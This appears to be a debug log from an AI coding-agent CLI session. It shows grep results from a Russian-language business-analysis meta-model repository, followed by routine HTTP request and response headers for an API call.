\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430, \u0430 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430. | \u041c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u0430\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\\nba-meta-model/10-theory.md:145:`MM-1` \u0438 `MM-4` \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430; `MM-2` \u0438 `MM-3` \u2014 \u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0430\\nba-meta-model/10-theory.md:214:| \u00ab\u0422\u043e\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u00bb \u0432\u0441\u0435\u0433\u043e \u043d\u0430 \u0432\u0441\u0451 \u043f\u0440\u043e\u0442\u0438\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 | \u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0440\u0451\u0431\u0440\u0430\u043c `Trace`, \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c \u0432 `MM-3`. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0432\u044f\u0437\u0438 \u2014 \\nba-meta-model/20-taxonomy.md:62:| `A-TRACE` | \u0421\u043b\u0435\u0434 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u0438 | **\u043d\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0436\u0443\u0440\u043d\u0430\u043b \u0438 \u043d\u0435 \u043f\u0430\u043c\u044f\u0442\u044c \u0447\u0430\u0442\u0430**, \u0430 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u0438\u043b\u0438 \u0433\u0440\u0430\u0444, \u0434\u0430\u044e\u0449\u0438\u0439 \u0441\u043a\u0432\u043e\u0437\u043d\u0443\u044e \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c: \\nba-meta-model/20-taxonomy.md:163:| `PT-1` | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 (`MM-4`), \u0430 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430. |\\nba-meta-model/20-taxonomy.md:187:| `DP-5` | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 `interaction` **\u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f** \u043f\u043e \u0442\u0435\u043a\u0441\u0442\u0443 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442\u0441\u044f: `dialog`, \u0435\u0441\u043b\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0430\u043a\u0442\u043e\u0440\u0443 \u0434\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0445\ufffd\\nba-meta-model/20-taxonomy.md:245:| `GT-3` | \u0413\u0435\u0439\u0442 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d (`MM-2`). |\\nba-meta-model/20-taxonomy.md:260:| `C-IN` | \u0432\u0445\u043e\u0434 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430: \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0437\u0430\u0434\u0430\u0447\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a | `M0`, `MM-1`, `MM-4` |\\nba-meta-model/20-taxonomy.md:264:| `C-RK` | \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0438 \u0435\u0433\u043e \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c | [`orchestration/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/00-introduction.md), `MM-3` |\\nba-meta-model/30-decision-framework.md:141:| `SK-9` | \u041f\u043e\u043b\u0435 `interaction` (`DP-4`, `FM-1`) \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0438 **\u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f**: `dialog`, \u0435\u0441\u043b\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0442\u043e\u0447\u043a\u0443 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443 \u0434\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0445\ufffd\\nba-meta-model/30-decision-framework.md:164:product_class: contact-center    # \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 (MM-4)\\nba-meta-model/40-practice-and-cases.md:38:        PC[\\\"\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d (MM-4)\\\"]\\nba-meta-model/40-practice-and-cases.md:163:| `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0447\u0435\u0439 \u0441\u043a\u0435\u043b\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c | \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0441\u043b\u043e\u0442\u043e\u0432 | \u0440\u0430\u0441\u0442\u0451\u0442; \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 0 (17 \u0434\u043e\u043a\u0443\\nba-meta-model/40-practice-and-cases.md:164:| `M-2` \u0434\u043e\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | `G-mach` reject / \u0432\u0441\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b | \u0441\u0447\u0451\u0442\u0447\u0438\u043a \u0433\u0435\u0439\u0442\u0430 | \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u0430\u044f: \u043d\u0443\u043b\u0435\u0432\u0430\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 |\\nba-meta-model/40-practice-and-cases.md:165:| `M-3` \u0434\u043e\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u043e\u0441\u043b\u0435 `G-mach` | \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0430 `G-human` / \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 `G-mach` | diff \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u0430\u0434\u0430\u0435\u0442; \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043b\u043e\u0432\u0438\u0442 \u043c\u0430\u0448\u0438\u043d\u0430, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442 |\\nba-meta-model/40-practice-and-cases.md:166:| `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 | \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 `EP-R4` | 100% \u043a\u0430\u043a \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0440\u0438\u0451\u043c\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\nba-meta-model/40-practice-and-cases.md:167:| `M-5` \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 | \u043f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 / \u0432\u0441\u0435 \u043f\u0443\u0441\u0442\u044b\u0435 | \u0440\u0430\u0437\u0431\u043e\u0440 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 | \u0440\u0430\u0441\u0442\u0451\u0442; \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u00ab\u043d\u0435\u0442\u00bb \u043e\u0442 \u00ab\u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\ufffd\\nba-meta-model/40-practice-and-cases.md:174:\u041f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442: `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430, `MP-*` \u0438 `MO-*` \u2014 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\\nba-meta-model/40-practice-and-cases.md:177:**\u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043c\u0435\u0440\u0430.** \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043f\u043e `M-1`\u2026`M-3` \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f **\u0434\u043e**\\nba-meta-model/40-practice-and-cases.md:181:**\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.** \u0421\u0440\u0435\u0437 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e\\nba-meta-model/40-practice-and-cases.md:182:\u0432\u044b\u0448\u0435 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u00ab`M-1` \u0432\u044b\u0441\u043e\u043a\u0438\u0439, `M-2` = 0\u00bb\\nba-meta-model/40-practice-and-cases.md:189:| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0432\u0445\u043e\u0434\u0443 | \u043f\u0440\u043e\u0433\u043e\u043d \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 `C-IN`, \u0432\u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 | `MM-4`: \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d, \u0430 \u043d\u0435 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438; \u0437\\nba-meta-model/40-practice-and-cases.md:194:| \u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 | \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043e\u0434\u0438\u043d \u043d\u0430\u0432\u044b\u043a; \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u043b\u0435 `interaction` \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \\nba-meta-model/40-practice-and-cases.md:215:- \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f `M-1` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445\\nba-meta-model:\\n00-introduction.md\\n10-theory.md\\n20-taxonomy.md\\n30-decision-framework.md\\n40-practice-and-cases.md\\n50-open-research.md\\noperation-taxonomy\\nprocess-taxonomy\\nproduct-taxonomy\\n\\nba-meta-model/operation-taxonomy/:\\n00-introduction.md\\n10-theory.md\\n20-taxonomy.md\\n30-decision-framework.md\\n40-practice-and-cases.md\\n50-open-research.md\\n\\nba-meta-model/process-taxonomy/:\\n00-introduction.md\\n10-theory.md\\n20-taxonomy.md\\n30-decision-framework.md\\n40-practice-and-cases.md\\n50-open-research.md\\n\\nba-meta-model/product-taxonomy/:\\nmango-products.yaml\\ntelecom-products.yaml\",\n[2026-09-29T07:46:56.561Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:46:56.561Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:46:56.561Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:46:56.561Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:46:56.561Z] [INFO]   }\n[2026-09-29T07:46:56.561Z] [INFO] }\n[2026-09-29T07:46:56.595Z] [STDOUT] [log_d94508] sending request {\n[2026-09-29T07:46:56.598Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:56.601Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:56.605Z] [STDOUT]   options: {\n[2026-09-29T07:46:56.609Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:56.612Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:56.615Z] [STDOUT]     body: {\n[2026-09-29T07:46:56.618Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:56.621Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:56.624Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:56.629Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:56.633Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:56.636Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:56.639Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:56.642Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:56.647Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:56.651Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:56.654Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:56.660Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:56.665Z] [STDOUT]     },\n[2026-09-29T07:46:56.670Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:56.673Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:56.677Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:56.681Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:56.684Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:56.686Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:56.690Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:56.695Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:56.698Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:56.704Z] [STDOUT]     },\n[2026-09-29T07:46:56.708Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:56.712Z] [STDOUT]   },\n[2026-09-29T07:46:56.719Z] [STDOUT]   headers: {\n[2026-09-29T07:46:56.726Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:56.733Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:56.739Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:56.742Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:56.747Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:56.750Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:56.752Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:56.756Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:56.759Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:56.763Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1359\",\n[2026-09-29T07:46:56.766Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:56.770Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:46:56.775Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:56.778Z] [STDOUT]     \"x-client-request-id\": \"a028121e-1ed8-466a-b751-d28ab1a478cc\",\n[2026-09-29T07:46:56.781Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:56.785Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:56.791Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:56.794Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:56.797Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:56.802Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:56.804Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:56.808Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:56.814Z] [STDOUT]   },\n[2026-09-29T07:46:56.822Z] [STDOUT] }\n[2026-09-29T07:46:57.404Z] [STDOUT] [log_d94508, request-id: \"req_011CfXMsXVGyHXUbJLWgER6c\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 808ms\n[2026-09-29T07:46:57.410Z] [STDOUT] [log_d94508] response start {\n[2026-09-29T07:46:57.413Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:57.417Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:57.421Z] [STDOUT]   headers: {\n[2026-09-29T07:46:57.427Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:57.430Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:57.439Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:57.441Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:57.445Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:57.448Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:57.451Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:57.456Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:57.460Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:57.463Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:57.465Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:57.468Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:57.471Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:57.475Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:57.479Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:57.481Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:57.486Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:57.489Z] [STDOUT]     \"cf-ray\": \"a429607fcee6dbb5-FRA\",\n[2026-09-29T07:46:57.493Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:57.496Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:57.499Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:57.503Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:57.508Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:57 GMT\",\n[2026-09-29T07:46:57.512Z] [STDOUT]     \"request-id\": \"req_011CfXMsXVGyHXUbJLWgER6c\",\n[2026-09-29T07:46:57.516Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:57.518Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:57.520Z] [STDOUT]     traceresponse: \"00-47928ba910b128eb77f59d5f81a08b3d-53bcfd7c0a4c3ddb-01\",\n[2026-09-29T07:46:57.525Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:57.537Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:57.552Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:57.557Z] [STDOUT]   },\n[2026-09-29T07:46:57.560Z] [STDOUT]   durationMs: 808,\n[2026-09-29T07:46:57.562Z] [STDOUT] }\n[2026-09-29T07:46:57.565Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:57.569Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:57 GMT\",\n[2026-09-29T07:46:57.573Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:57.578Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:57.581Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:57.585Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:57.588Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:57.591Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:57.596Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:57.600Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:57.606Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:57.611Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:57.619Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:57.623Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:57.631Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:57.636Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:57.640Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:57.643Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:57.647Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:57.652Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:57.657Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:57.663Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:57.667Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:57.672Z] [STDOUT]   \"request-id\": \"req_011CfXMsXVGyHXUbJLWgER6c\",\n[2026-09-29T07:46:57.674Z] [STDOUT]   \"traceresponse\": \"00-47928ba910b128eb77f59d5f81a08b3d-53bcfd7c0a4c3ddb-01\",\n[2026-09-29T07:46:57.681Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:57.686Z] [STDOUT]   \"anthropic-workspace-id\": 